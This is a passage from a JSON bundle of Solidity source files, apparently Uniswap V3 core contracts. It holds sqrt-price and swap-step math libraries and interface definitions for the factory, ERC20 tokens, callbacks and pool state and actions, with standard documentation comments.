== sqrtPX96 && numerator1 > product);\n uint256 denominator = numerator1 - product;\n return FullMath.mulDivRoundingUp(numerator1, sqrtPX96, denominator).toUint160();\n }\n }\n\n /// @notice Gets the next sqrt price given a delta of token1\n /// @dev Always rounds down, because in the exact output case (decreasing price) we need to move the price at least\n /// far enough to get the desired output amount, and in the exact input case (increasing price) we need to move the\n /// price less in order to not send too much output.\n /// The formula we compute is within <1 wei of the lossless version: sqrtPX96 +- amount / liquidity\n /// @param sqrtPX96 The starting price, i.e., before accounting for the token1 delta\n /// @param liquidity The amount of usable liquidity\n /// @param amount How much of token1 to add, or remove, from virtual reserves\n /// @param add Whether to add, or remove, the amount of token1\n /// @return The price after adding or removing `amount`\n function getNextSqrtPriceFromAmount1RoundingDown(\n uint160 sqrtPX96,\n uint128 liquidity,\n uint256 amount,\n bool add\n ) internal pure returns (uint160) {\n // if we're adding (subtracting), rounding down requires rounding the quotient down (up)\n // in both cases, avoid a mulDiv for most inputs\n if (add) {\n uint256 quotient =\n (\n amount <= type(uint160).max\n ? (amount << FixedPoint96.RESOLUTION) / liquidity\n : FullMath.mulDiv(amount, FixedPoint96.Q96, liquidity)\n );\n\n return uint256(sqrtPX96).add(quotient).toUint160();\n } else {\n uint256 quotient =\n (\n amount <= type(uint160).max\n ? UnsafeMath.divRoundingUp(amount << FixedPoint96.RESOLUTION, liquidity)\n : FullMath.mulDivRoundingUp(amount, FixedPoint96.Q96, liquidity)\n );\n\n require(sqrtPX96 > quotient);\n // always fits 160 bits\n return uint160(sqrtPX96 - quotient);\n }\n }\n\n /// @notice Gets the next sqrt price given an input amount of token0 or token1\n /// @dev Throws if price or liquidity are 0, or if the next price is out of bounds\n /// @param sqrtPX96 The starting price, i.e., before accounting for the input amount\n /// @param liquidity The amount of usable liquidity\n /// @param amountIn How much of token0, or token1, is being swapped in\n /// @param zeroForOne Whether the amount in is token0 or token1\n /// @return sqrtQX96 The price after adding the input amount to token0 or token1\n function getNextSqrtPriceFromInput(\n uint160 sqrtPX96,\n uint128 liquidity,\n uint256 amountIn,\n bool zeroForOne\n ) internal pure returns (uint160 sqrtQX96) {\n require(sqrtPX96 > 0);\n require(liquidity > 0);\n\n // round to make sure that we don't pass the target price\n return\n zeroForOne\n ? getNextSqrtPriceFromAmount0RoundingUp(sqrtPX96, liquidity, amountIn, true)\n : getNextSqrtPriceFromAmount1RoundingDown(sqrtPX96, liquidity, amountIn, true);\n }\n\n /// @notice Gets the next sqrt price given an output amount of token0 or token1\n /// @dev Throws if price or liquidity are 0 or the next price is out of bounds\n /// @param sqrtPX96 The starting price before accounting for the output amount\n /// @param liquidity The amount of usable liquidity\n /// @param amountOut How much of token0, or token1, is being swapped out\n /// @param zeroForOne Whether the amount out is token0 or token1\n /// @return sqrtQX96 The price after removing the output amount of token0 or token1\n function getNextSqrtPriceFromOutput(\n uint160 sqrtPX96,\n uint128 liquidity,\n uint256 amountOut,\n bool zeroForOne\n ) internal pure returns (uint160 sqrtQX96) {\n require(sqrtPX96 > 0);\n require(liquidity > 0);\n\n // round to make sure that we pass the target price\n return\n zeroForOne\n ? getNextSqrtPriceFromAmount1RoundingDown(sqrtPX96, liquidity, amountOut, false)\n : getNextSqrtPriceFromAmount0RoundingUp(sqrtPX96, liquidity, amountOut, false);\n }\n\n /// @notice Gets the amount0 delta between two prices\n /// @dev Calculates liquidity / sqrt(lower) - liquidity / sqrt(upper),\n /// i.e. liquidity * (sqrt(upper) - sqrt(lower)) / (sqrt(upper) * sqrt(lower))\n /// @param sqrtRatioAX96 A sqrt price\n /// @param sqrtRatioBX96 Another sqrt price\n /// @param liquidity The amount of usable liquidity\n /// @param roundUp Whether to round the amount up or down\n /// @return amount0 Amount of token0 required to cover a position of size liquidity between the two passed prices\n function getAmount0Delta(\n uint160 sqrtRatioAX96,\n uint160 sqrtRatioBX96,\n uint128 liquidity,\n bool roundUp\n ) internal pure returns (uint256 amount0) {\n if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);\n\n uint256 numerator1 = uint256(liquidity) << FixedPoint96.RESOLUTION;\n uint256 numerator2 = sqrtRatioBX96 - sqrtRatioAX96;\n\n require(sqrtRatioAX96 > 0);\n\n return\n roundUp\n ? UnsafeMath.divRoundingUp(\n FullMath.mulDivRoundingUp(numerator1, numerator2, sqrtRatioBX96),\n sqrtRatioAX96\n )\n : FullMath.mulDiv(numerator1, numerator2, sqrtRatioBX96) / sqrtRatioAX96;\n }\n\n /// @notice Gets the amount1 delta between two prices\n /// @dev Calculates liquidity * (sqrt(upper) - sqrt(lower))\n /// @param sqrtRatioAX96 A sqrt price\n /// @param sqrtRatioBX96 Another sqrt price\n /// @param liquidity The amount of usable liquidity\n /// @param roundUp Whether to round the amount up, or down\n /// @return amount1 Amount of token1 required to cover a position of size liquidity between the two passed prices\n function getAmount1Delta(\n uint160 sqrtRatioAX96,\n uint160 sqrtRatioBX96,\n uint128 liquidity,\n bool roundUp\n ) internal pure returns (uint256 amount1) {\n if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);\n\n return\n roundUp\n ? FullMath.mulDivRoundingUp(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96)\n : FullMath.mulDiv(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96);\n }\n\n /// @notice Helper that gets signed token0 delta\n /// @param sqrtRatioAX96 A sqrt price\n /// @param sqrtRatioBX96 Another sqrt price\n /// @param liquidity The change in liquidity for which to compute the amount0 delta\n /// @return amount0 Amount of token0 corresponding to the passed liquidityDelta between the two prices\n function getAmount0Delta(\n uint160 sqrtRatioAX96,\n uint160 sqrtRatioBX96,\n int128 liquidity\n ) internal pure returns (int256 amount0) {\n return\n liquidity < 0\n ? -getAmount0Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(-liquidity), false).toInt256()\n : getAmount0Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(liquidity), true).toInt256();\n }\n\n /// @notice Helper that gets signed token1 delta\n /// @param sqrtRatioAX96 A sqrt price\n /// @param sqrtRatioBX96 Another sqrt price\n /// @param liquidity The change in liquidity for which to compute the amount1 delta\n /// @return amount1 Amount of token1 corresponding to the passed liquidityDelta between the two prices\n function getAmount1Delta(\n uint160 sqrtRatioAX96,\n uint160 sqrtRatioBX96,\n int128 liquidity\n ) internal pure returns (int256 amount1) {\n return\n liquidity < 0\n ? -getAmount1Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(-liquidity), false).toInt256()\n : getAmount1Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(liquidity), true).toInt256();\n }\n}\n"
},
"contracts/libraries/SwapMath.sol": {
"content": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.5.0;\n\nimport './FullMath.sol';\nimport './SqrtPriceMath.sol';\n\n/// @title Computes the result of a swap within ticks\n/// @notice Contains methods for computing the result of a swap within a single tick price range, i.e., a single tick.\nlibrary SwapMath {\n /// @notice Computes the result of swapping some amount in, or amount out, given the parameters of the swap\n /// @dev The fee, plus the amount in, will never exceed the amount remaining if the swap's `amountSpecified` is positive\n /// @param sqrtRatioCurrentX96 The current sqrt price of the pool\n /// @param sqrtRatioTargetX96 The price that cannot be exceeded, from which the direction of the swap is inferred\n /// @param liquidity The usable liquidity\n /// @param amountRemaining How much input or output amount is remaining to be swapped in/out\n /// @param feePips The fee taken from the input amount, expressed in hundredths of a bip\n /// @return sqrtRatioNextX96 The price after swapping the amount in/out, not to exceed the price target\n /// @return amountIn The amount to be swapped in, of either token0 or token1, based on the direction of the swap\n /// @return amountOut The amount to be received, of either token0 or token1, based on the direction of the swap\n /// @return feeAmount The amount of input that will be taken as a fee\n function computeSwapStep(\n uint160 sqrtRatioCurrentX96,\n uint160 sqrtRatioTargetX96,\n uint128 liquidity,\n int256 amountRemaining,\n uint24 feePips\n )\n internal\n pure\n returns (\n uint160 sqrtRatioNextX96,\n uint256 amountIn,\n uint256 amountOut,\n uint256 feeAmount\n )\n {\n bool zeroForOne = sqrtRatioCurrentX96 >= sqrtRatioTargetX96;\n bool exactIn = amountRemaining >= 0;\n\n if (exactIn) {\n uint256 amountRemainingLessFee = FullMath.mulDiv(uint256(amountRemaining), 1e6 - feePips, 1e6);\n amountIn = zeroForOne\n ? SqrtPriceMath.getAmount0Delta(sqrtRatioTargetX96, sqrtRatioCurrentX96, liquidity, true)\n : SqrtPriceMath.getAmount1Delta(sqrtRatioCurrentX96, sqrtRatioTargetX96, liquidity, true);\n if (amountRemainingLessFee >= amountIn) sqrtRatioNextX96 = sqrtRatioTargetX96;\n else\n sqrtRatioNextX96 = SqrtPriceMath.getNextSqrtPriceFromInput(\n sqrtRatioCurrentX96,\n liquidity,\n amountRemainingLessFee,\n zeroForOne\n );\n } else {\n amountOut = zeroForOne\n ? SqrtPriceMath.getAmount1Delta(sqrtRatioTargetX96, sqrtRatioCurrentX96, liquidity, false)\n : SqrtPriceMath.getAmount0Delta(sqrtRatioCurrentX96, sqrtRatioTargetX96, liquidity, false);\n if (uint256(-amountRemaining) >= amountOut) sqrtRatioNextX96 = sqrtRatioTargetX96;\n else\n sqrtRatioNextX96 = SqrtPriceMath.getNextSqrtPriceFromOutput(\n sqrtRatioCurrentX96,\n liquidity,\n uint256(-amountRemaining),\n zeroForOne\n );\n }\n\n bool max = sqrtRatioTargetX96 == sqrtRatioNextX96;\n\n // get the input/output amounts\n if (zeroForOne) {\n amountIn = max && exactIn\n ? amountIn\n : SqrtPriceMath.getAmount0Delta(sqrtRatioNextX96, sqrtRatioCurrentX96, liquidity, true);\n amountOut = max && !exactIn\n ? amountOut\n : SqrtPriceMath.getAmount1Delta(sqrtRatioNextX96, sqrtRatioCurrentX96, liquidity, false);\n } else {\n amountIn = max && exactIn\n ? amountIn\n : SqrtPriceMath.getAmount1Delta(sqrtRatioCurrentX96, sqrtRatioNextX96, liquidity, true);\n amountOut = max && !exactIn\n ? amountOut\n : SqrtPriceMath.getAmount0Delta(sqrtRatioCurrentX96, sqrtRatioNextX96, liquidity, false);\n }\n\n // cap the output amount to not exceed the remaining output amount\n if (!exactIn && amountOut > uint256(-amountRemaining)) {\n amountOut = uint256(-amountRemaining);\n }\n\n if (exactIn && sqrtRatioNextX96 != sqrtRatioTargetX96) {\n // we didn't reach the target, so take the remainder of the maximum input as fee\n feeAmount = uint256(amountRemaining) - amountIn;\n } else {\n feeAmount = FullMath.mulDivRoundingUp(amountIn, feePips, 1e6 - feePips);\n }\n }\n}\n"
},
"contracts/interfaces/IUniswapV3PoolDeployer.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title An interface for a contract that is capable of deploying Uniswap V3 Pools\n/// @notice A contract that constructs a pool must implement this to pass arguments to the pool\n/// @dev This is used to avoid having constructor arguments in the pool contract, which results in the init code hash\n/// of the pool being constant allowing the CREATE2 address of the pool to be cheaply computed on-chain\ninterface IUniswapV3PoolDeployer {\n /// @notice Get the parameters to be used in constructing the pool, set transiently during pool creation.\n /// @dev Called by the pool constructor to fetch the parameters of the pool\n /// Returns factory The factory address\n /// Returns token0 The first token of the pool by address sort order\n /// Returns token1 The second token of the pool by address sort order\n /// Returns fee The fee collected upon every swap in the pool, denominated in hundredths of a bip\n /// Returns tickSpacing The minimum number of ticks between initialized ticks\n function parameters()\n external\n view\n returns (\n address factory,\n address token0,\n address token1,\n uint24 fee,\n int24 tickSpacing\n );\n}\n"
},
"contracts/interfaces/IUniswapV3Factory.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title The interface for the Uniswap V3 Factory\n/// @notice The Uniswap V3 Factory facilitates creation of Uniswap V3 pools and control over the protocol fees\ninterface IUniswapV3Factory {\n /// @notice Emitted when the owner of the factory is changed\n /// @param oldOwner The owner before the owner was changed\n /// @param newOwner The owner after the owner was changed\n event OwnerChanged(address indexed oldOwner, address indexed newOwner);\n\n /// @notice Emitted when a pool is created\n /// @param token0 The first token of the pool by address sort order\n /// @param token1 The second token of the pool by address sort order\n /// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip\n /// @param tickSpacing The minimum number of ticks between initialized ticks\n /// @param pool The address of the created pool\n event PoolCreated(\n address indexed token0,\n address indexed token1,\n uint24 indexed fee,\n int24 tickSpacing,\n address pool\n );\n\n /// @notice Emitted when a new fee amount is enabled for pool creation via the factory\n /// @param fee The enabled fee, denominated in hundredths of a bip\n /// @param tickSpacing The minimum number of ticks between initialized ticks for pools created with the given fee\n event FeeAmountEnabled(uint24 indexed fee, int24 indexed tickSpacing);\n\n /// @notice Returns the current owner of the factory\n /// @dev Can be changed by the current owner via setOwner\n /// @return The address of the factory owner\n function owner() external view returns (address);\n\n /// @notice Returns the tick spacing for a given fee amount, if enabled, or 0 if not enabled\n /// @dev A fee amount can never be removed, so this value should be hard coded or cached in the calling context\n /// @param fee The enabled fee, denominated in hundredths of a bip. Returns 0 in case of unenabled fee\n /// @return The tick spacing\n function feeAmountTickSpacing(uint24 fee) external view returns (int24);\n\n /// @notice Returns the pool address for a given pair of tokens and a fee, or address 0 if it does not exist\n /// @dev tokenA and tokenB may be passed in either token0/token1 or token1/token0 order\n /// @param tokenA The contract address of either token0 or token1\n /// @param tokenB The contract address of the other token\n /// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip\n /// @return pool The pool address\n function getPool(\n address tokenA,\n address tokenB,\n uint24 fee\n ) external view returns (address pool);\n\n /// @notice Creates a pool for the given two tokens and fee\n /// @param tokenA One of the two tokens in the desired pool\n /// @param tokenB The other of the two tokens in the desired pool\n /// @param fee The desired fee for the pool\n /// @dev tokenA and tokenB may be passed in either order: token0/token1 or token1/token0. tickSpacing is retrieved\n /// from the fee. The call will revert if the pool already exists, the fee is invalid, or the token arguments\n /// are invalid.\n /// @return pool The address of the newly created pool\n function createPool(\n address tokenA,\n address tokenB,\n uint24 fee\n ) external returns (address pool);\n\n /// @notice Updates the owner of the factory\n /// @dev Must be called by the current owner\n /// @param _owner The new owner of the factory\n function setOwner(address _owner) external;\n\n /// @notice Enables a fee amount with the given tickSpacing\n /// @dev Fee amounts may never be removed once enabled\n /// @param fee The fee amount to enable, denominated in hundredths of a bip (i.e. 1e-6)\n /// @param tickSpacing The spacing between ticks to be enforced for all pools created with the given fee amount\n function enableFeeAmount(uint24 fee, int24 tickSpacing) external;\n}\n"
},
"contracts/interfaces/IERC20Minimal.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Minimal ERC20 interface for Uniswap\n/// @notice Contains a subset of the full ERC20 interface that is used in Uniswap V3\ninterface IERC20Minimal {\n /// @notice Returns the balance of a token\n /// @param account The account for which to look up the number of tokens it has, i.e. its balance\n /// @return The number of tokens held by the account\n function balanceOf(address account) external view returns (uint256);\n\n /// @notice Transfers the amount of token from the `msg.sender` to the recipient\n /// @param recipient The account that will receive the amount transferred\n /// @param amount The number of tokens to send from the sender to the recipient\n /// @return Returns true for a successful transfer, false for an unsuccessful transfer\n function transfer(address recipient, uint256 amount) external returns (bool);\n\n /// @notice Returns the current allowance given to a spender by an owner\n /// @param owner The account of the token owner\n /// @param spender The account of the token spender\n /// @return The current allowance granted by `owner` to `spender`\n function allowance(address owner, address spender) external view returns (uint256);\n\n /// @notice Sets the allowance of a spender from the `msg.sender` to the value `amount`\n /// @param spender The account which will be allowed to spend a given amount of the owners tokens\n /// @param amount The amount of tokens allowed to be used by `spender`\n /// @return Returns true for a successful approval, false for unsuccessful\n function approve(address spender, uint256 amount) external returns (bool);\n\n /// @notice Transfers `amount` tokens from `sender` to `recipient` up to the allowance given to the `msg.sender`\n /// @param sender The account from which the transfer will be initiated\n /// @param recipient The recipient of the transfer\n /// @param amount The amount of the transfer\n /// @return Returns true for a successful transfer, false for unsuccessful\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n /// @notice Event emitted when tokens are transferred from one address to another, either via `#transfer` or `#transferFrom`.\n /// @param from The account from which the tokens were sent, i.e. the balance decreased\n /// @param to The account to which the tokens were sent, i.e. the balance increased\n /// @param value The amount of tokens that were transferred\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /// @notice Event emitted when the approval amount for the spender of a given owner's tokens changes.\n /// @param owner The account that approved spending of its tokens\n /// @param spender The account for which the spending allowance was modified\n /// @param value The new allowance from the owner to the spender\n event Approval(address indexed owner, address indexed spender, uint256 value);\n}\n"
},
"contracts/interfaces/callback/IUniswapV3MintCallback.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Callback for IUniswapV3PoolActions#mint\n/// @notice Any contract that calls IUniswapV3PoolActions#mint must implement this interface\ninterface IUniswapV3MintCallback {\n /// @notice Called to `msg.sender` after minting liquidity to a position from IUniswapV3Pool#mint.\n /// @dev In the implementation you must pay the pool tokens owed for the minted liquidity.\n /// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory.\n /// @param amount0Owed The amount of token0 due to the pool for the minted liquidity\n /// @param amount1Owed The amount of token1 due to the pool for the minted liquidity\n /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#mint call\n function uniswapV3MintCallback(\n uint256 amount0Owed,\n uint256 amount1Owed,\n bytes calldata data\n ) external;\n}\n"
},
"contracts/interfaces/callback/IUniswapV3SwapCallback.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Callback for IUniswapV3PoolActions#swap\n/// @notice Any contract that calls IUniswapV3PoolActions#swap must implement this interface\ninterface IUniswapV3SwapCallback {\n /// @notice Called to `msg.sender` after executing a swap via IUniswapV3Pool#swap.\n /// @dev In the implementation you must pay the pool tokens owed for the swap.\n /// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory.\n /// amount0Delta and amount1Delta can both be 0 if no tokens were swapped.\n /// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by\n /// the end of the swap. If positive, the callback must send that amount of token0 to the pool.\n /// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by\n /// the end of the swap. If positive, the callback must send that amount of token1 to the pool.\n /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call\n function uniswapV3SwapCallback(\n int256 amount0Delta,\n int256 amount1Delta,\n bytes calldata data\n ) external;\n}\n"
},
"contracts/interfaces/callback/IUniswapV3FlashCallback.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Callback for IUniswapV3PoolActions#flash\n/// @notice Any contract that calls IUniswapV3PoolActions#flash must implement this interface\ninterface IUniswapV3FlashCallback {\n /// @notice Called to `msg.sender` after transferring to the recipient from IUniswapV3Pool#flash.\n /// @dev In the implementation you must repay the pool the tokens sent by flash plus the computed fee amounts.\n /// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory.\n /// @param fee0 The fee amount in token0 due to the pool by the end of the flash\n /// @param fee1 The fee amount in token1 due to the pool by the end of the flash\n /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#flash call\n function uniswapV3FlashCallback(\n uint256 fee0,\n uint256 fee1,\n bytes calldata data\n ) external;\n}\n"
},
"contracts/interfaces/pool/IUniswapV3PoolImmutables.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Pool state that never changes\n/// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values\ninterface IUniswapV3PoolImmutables {\n /// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface\n /// @return The contract address\n function factory() external view returns (address);\n\n /// @notice The first of the two tokens of the pool, sorted by address\n /// @return The token contract address\n function token0() external view returns (address);\n\n /// @notice The second of the two tokens of the pool, sorted by address\n /// @return The token contract address\n function token1() external view returns (address);\n\n /// @notice The pool's fee in hundredths of a bip, i.e. 1e-6\n /// @return The fee\n function fee() external view returns (uint24);\n\n /// @notice The pool tick spacing\n /// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive\n /// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ...\n /// This value is an int24 to avoid casting even though it is always positive.\n /// @return The tick spacing\n function tickSpacing() external view returns (int24);\n\n /// @notice The maximum amount of position liquidity that can use any tick in the range\n /// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and\n /// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool\n /// @return The max amount of liquidity per tick\n function maxLiquidityPerTick() external view returns (uint128);\n}\n"
},
"contracts/interfaces/pool/IUniswapV3PoolState.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Pool state that can change\n/// @notice These methods compose the pool's state, and can change with any frequency including multiple times\n/// per transaction\ninterface IUniswapV3PoolState {\n /// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas\n /// when accessed externally.\n /// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value\n /// tick The current tick of the pool, i.e. according to the last tick transition that was run.\n /// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick\n /// boundary.\n /// observationIndex The index of the last oracle observation that was written,\n /// observationCardinality The current maximum number of observations stored in the pool,\n /// observationCardinalityNext The next maximum number of observations, to be updated when the observation.\n /// feeProtocol The protocol fee for both tokens of the pool.\n /// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0\n /// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee.\n /// unlocked Whether the pool is currently locked to reentrancy\n function slot0()\n external\n view\n returns (\n uint160 sqrtPriceX96,\n int24 tick,\n uint16 observationIndex,\n uint16 observationCardinality,\n uint16 observationCardinalityNext,\n uint8 feeProtocol,\n bool unlocked\n );\n\n /// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool\n /// @dev This value can overflow the uint256\n function feeGrowthGlobal0X128() external view returns (uint256);\n\n /// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool\n /// @dev This value can overflow the uint256\n function feeGrowthGlobal1X128() external view returns (uint256);\n\n /// @notice The amounts of token0 and token1 that are owed to the protocol\n /// @dev Protocol fees will never exceed uint128 max in either token\n function protocolFees() external view returns (uint128 token0, uint128 token1);\n\n /// @notice The currently in range liquidity available to the pool\n /// @dev This value has no relationship to the total liquidity across all ticks\n function liquidity() external view returns (uint128);\n\n /// @notice Look up information about a specific tick in the pool\n /// @param tick The tick to look up\n /// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or\n /// tick upper,\n /// liquidityNet how much liquidity changes when the pool price crosses the tick,\n /// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0,\n /// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1,\n /// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick\n /// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick,\n /// secondsOutside the seconds spent on the other side of the tick from the current tick,\n /// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false.\n /// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0.\n /// In addition, these values are only relative and must be used only in comparison to previous snapshots for\n /// a specific position.\n function ticks(int24 tick)\n external\n view\n returns (\n uint128 liquidityGross,\n int128 liquidityNet,\n uint256 feeGrowthOutside0X128,\n uint256 feeGrowthOutside1X128,\n int56 tickCumulativeOutside,\n uint160 secondsPerLiquidityOutsideX128,\n uint32 secondsOutside,\n bool initialized\n );\n\n /// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information\n function tickBitmap(int16 wordPosition) external view returns (uint256);\n\n /// @notice Returns the information about a position by the position's key\n /// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper\n /// @return _liquidity The amount of liquidity in the position,\n /// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke,\n /// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke,\n /// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke,\n /// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke\n function positions(bytes32 key)\n external\n view\n returns (\n uint128 _liquidity,\n uint256 feeGrowthInside0LastX128,\n uint256 feeGrowthInside1LastX128,\n uint128 tokensOwed0,\n uint128 tokensOwed1\n );\n\n /// @notice Returns data about a specific observation index\n /// @param index The element of the observations array to fetch\n /// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time\n /// ago, rather than at a specific index in the array.\n /// @return blockTimestamp The timestamp of the observation,\n /// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp,\n /// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp,\n /// Returns initialized whether the observation has been initialized and the values are safe to use\n function observations(uint256 index)\n external\n view\n returns (\n uint32 blockTimestamp,\n int56 tickCumulative,\n uint160 secondsPerLiquidityCumulativeX128,\n bool initialized\n );\n}\n"
},
"contracts/interfaces/pool/IUniswapV3PoolDerivedState.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Pool state that is not stored\n/// @notice Contains view functions to provide information about the pool that is computed rather than stored on the\n/// blockchain. The functions here may have variable gas costs.\ninterface IUniswapV3PoolDerivedState {\n /// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp\n /// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing\n /// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick,\n /// you must call it with secondsAgos = [3600, 0].\n /// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in\n /// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio.\n /// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned\n /// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp\n /// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block\n /// timestamp\n function observe(uint32[] calldata secondsAgos)\n external\n view\n returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s);\n\n /// @notice Returns a snapshot of the tick cumulative, seconds per liquidity and seconds inside a tick range\n /// @dev Snapshots must only be compared to other snapshots, taken over a period for which a position existed.\n /// I.e., snapshots cannot be compared if a position is not held for the entire period between when the first\n /// snapshot is taken and the second snapshot is taken.\n /// @param tickLower The lower tick of the range\n /// @param tickUpper The upper tick of the range\n /// @return tickCumulativeInside The snapshot of the tick accumulator for the range\n /// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range\n /// @return secondsInside The snapshot of seconds per liquidity for the range\n function snapshotCumulativesInside(int24 tickLower, int24 tickUpper)\n external\n view\n returns (\n int56 tickCumulativeInside,\n uint160 secondsPerLiquidityInsideX128,\n uint32 secondsInside\n );\n}\n"
},
"contracts/interfaces/pool/IUniswapV3PoolActions.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Permissionless pool actions\n/// @notice Contains pool methods that can be called by anyone\ninterface IUniswapV3PoolActions {\n /// @notice Sets the initial price for the pool\n /// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value\n /// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96\n function initialize(uint160 sqrtPriceX96) external;\n\n /// @notice Adds liquidity for the given recipient/tickLower/tickUpper position\n /// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback\n /// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends\n /// on tickLower, tickUpper, the amount of liquidity, and the current price.\n /// @param recipient The address for which the liquidity will be created\n /// @param tickLower The lower tick of the position in which to add liquidity\n /// @param tickUpper The upper tick of the position in which to add liquidity\n /// @param amount The amount of liquidity to mint\n /// @param data Any data that should be passed through to the callback\n /// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback\n /// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback\n function mint(\n address recipient,\n int24 tickLower,\n int24 tickUpper,\n uint128 amount,\n bytes calldata data\n ) external returns (uint256 amount0, uint256 amount1);\n\n /// @notice Collects tokens owed to a position\n /// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity.\n /// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or\n /// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the\n /// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity.\n /// @param recipient The address which should receive the fees collected\n /// @param tickLower The lower tick of the position for which to collect fees\n /// @param tickUpper The upper tick of the position for which to collect fees\n /// @param amount0Requested How much token0 should be withdrawn from the fees owed\n /// @param amount1Requested How much token1 should be withdrawn from the fees owed\n /// @return amount0 The amount of fees collected in token0\n /// @return amount1 The amount of fees collected in token1\n function collect(\n address recipient,\n int24 tickLower,\n int24 tickUpper,\n uint128 amount0Requested,\n uint128 amount1Requested\n ) external returns (uint128 amount0, uint128 amount1);\n\n /// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position\n /// @dev Can be used to trigger a recalculation of fees owed to a 